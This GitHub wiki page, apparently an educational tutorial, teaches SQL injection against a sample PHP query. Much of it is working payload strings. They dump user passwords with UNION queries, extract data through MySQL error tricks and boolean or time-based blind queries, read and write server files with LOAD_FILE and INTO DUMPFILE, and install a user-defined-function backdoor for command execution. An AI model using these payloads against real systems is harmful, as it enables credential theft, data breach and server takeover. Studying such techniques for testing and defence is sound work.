Skip to content

SQL Injections

Gregoire edited this page Sep 13, 2017 · 45 revisions

Introduction:

To start, let's say that SQL injections aren’t security threats due to DBMS. In fact the main reason of this kind of threat is a wrong management of input/output by the Web application. As such, it is up to you to secure your application ^^ (easier said than done).

I- Dumping databases:

For all this section, we will imagine a Web application which manage SQL queries like this:

SELECT first_name,last_name FROM users WHERE id=$_GET['id'];

1- Basic injections:

a- UNION injections:

Here, the results of your search are directly shown in the server answers. For example, think of a form which allows you to join an id. When you enter a number (let's enter 1) the server answers: first_name=fist_name1 ; last_name=last_name1

A useful way to dump databases is to use UNION instruction (be careful, you had to respect output dimensions). For example, If you enter in the form:

1' UNION select first_name,password from users --

you get:

first_name: user1 ; last_name: user1_pass

first_name: user2 ; last_name: user2_pass

REM:

  • "-- " (notice the space at the end) is really important. It is used to comment SQL code. Here, we use it to avoid errors due to the rest of the default SQL query that the server sends.
  • If you don't care about the first_name field, you can inject: 1' UNION select NULL,password from users -- .

b- Error injections:

But What to do if UNION injections didn't work? The easiest way is to create a query which will raise an error giving us the useful data. This method depends a lot of the database you try to dump: for example, queries which raise an error on MySQL can raise nothing on PostgreSQL or Oracle databases.

On MySQL: A way to raise an error is to use this kind of query:

SELECT floor(rand(0)*2))x FROM information_schema.tables GROUP BY x HAVING MIN(x) --

You can try to change some part of the query to understand what is important. Here we took information_schema.tables because it needs a big table to raise the error.

To feel it a little bit more, here is another query which will raise the same error:

SELECT COUNT(*),floor(rand(0)*2)x FROM information_schema.tables GROUP BY x;

Example of injection:

1' UNION SELECT NULL,concat_ws(0x3a,version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x HAVING MIN(x) --

On postgreSQL: You can raise an error by sending this kind of query:

select cast('your query' as numeric)

Here it is important that the answer of 'you query' is a string to raised the error.

c- Finding useful data:

Finding the dimension for the UNION: In a query, the selected columns are indexed (1, 2, 3 ...). For example: in SELECT username,password FROM users; username can be call as 1 and password as 2. So in the same example as in "UNION injections" section, you can use ORDER BY to found the dimension:

1' ORDER BY nb --

First try with nb=1 then 2, 3 ... and so on until it raises an error.

Knowing the version and which user you are: Use the different methods to inject version() or user(). Example:

1' UNION SELECT version(),user() --

Finding tables and columns information thanks to "information_schema": According to the MySQL documentation, information_schema is a table which: "provides information about tables in databases". For example you can find the name of the tables like this:

SELECT table_name FROM information_schema.tables

Then you can find the name of the wanted table's columns:

SELECT column_name FROM information_schema.columns WHERE table_name='chosen_table';

Inject this kind of query to find what you want.

Warning: It works on MySQL and PostgreSQL but not on Oracle databases.

2- Almost blind injections:

Here, server’s answers didn’t give any data from the database back. However, it is not totally blind because you can see in the answer if the SQL query has been accepted. For example, it can be written: Your query has been accepted or the language of the answer changes.

As a consequence, we must send a lot of requests to find the useful data.

We will take the same example as before except that you don't get SQL query answers but only: Your query has been accepted or Not Found.

How to proceed ? While testing some inputs, we see that the id must be included between 1 and 5. We inject:

40' OR ascii(substring(password,1,1))>25 --

REM:

  • ascii() translate a character to his ascii code.
  • substring return a part of a string (substring(string,start,size)).

So if the query is accepted, we know, in our example, that there is a password which start by a character whose ascii code is greater than 25. As such we can find all the password using dichotomy.

NB:

  • An ascii code is always positive. So we can use it to find the names of tables and fields. Still in the same example, we can think that there is a field called user. We inject 40' OR ascii(substring(user,1,1))>0 -- . If this is accepted, we know that there is a field starting with a “u”. Let’s try for “s” and so on.
  • We also have access to tables differing from the default one. For example if the form looks in the Id table but that the useful information is in Users then we can inject: 1' AND ASCII(SUBSTRING((SELECT password FROM users OFFSET 0 LIMIT 1) , 1 , 1))>25 -- .

3- Blind injections:

Here you are totally blind, there is no data in the server’s answer.

In this case, we had to use the period of time that the server need to answer to dump data. We can use the SLEEP instruction to play with this period.

Let's take the same example as before but here whatever the input is, the server answer OK.

We can inject 40' OR IF ( ascii(substring(password,1,1))>25, SLEEP(5), false) -- . So if the server take 5 seconds to answer, it means that the query was accepted and that there is a password which begin with a character which has a ascii code greater than 25. We can find the entire password using dichotomy.

Be careful: It is really slow and it can easily be clouded by a disrupted network.

II- System calls:

Ok can we only dump databases through SQL Injections? Of course not, you can read system's files, write on it and even execute command line.
Of course it depends of how the sys admin configure the database and the web application.

Let's take the same example as in "UNION injections" for the next parts.

Reading:

In MySQL there is a method to read files: LOAD_FILE().

So we can inject:

1' UNION ALL SELECT LOAD_FILE('chemin/absolue'),NULL --

REM:

  • UNION ALL is important here because it is used to allow duplicate.
  • Remember, the NULL is here for the UNION dimension.

Writing:

There is a MySQL method to write in a file: INTO DUMPFILE So we can inject:

-40' UNION SELECT 'message',NULL INTO DUMPFILE '/chemin/vers/fichier' --

REM: INTO DUMPFILE will throws all the query content in the file. That is why we choose an id which doesn't exist.

Backdoors:

MySQL provides a way to extend its functionalities: the User Defined Functions (UDF). UDF are functions written in C which can be upload on MySQL clients. To see what it looks like download mine.

So to use it, you should:

  • Found the system's version.
  • Compile it on the same kind of system as explain in the wiki.
  • Write it in /usr/lib/mysql/plugin/ through SQL Injections.
  • Inject the query CREATE FUNCTION mysyschar RETURNS STRING SONAME libmysyschar.so; to upload the UDF.
  • Use it :)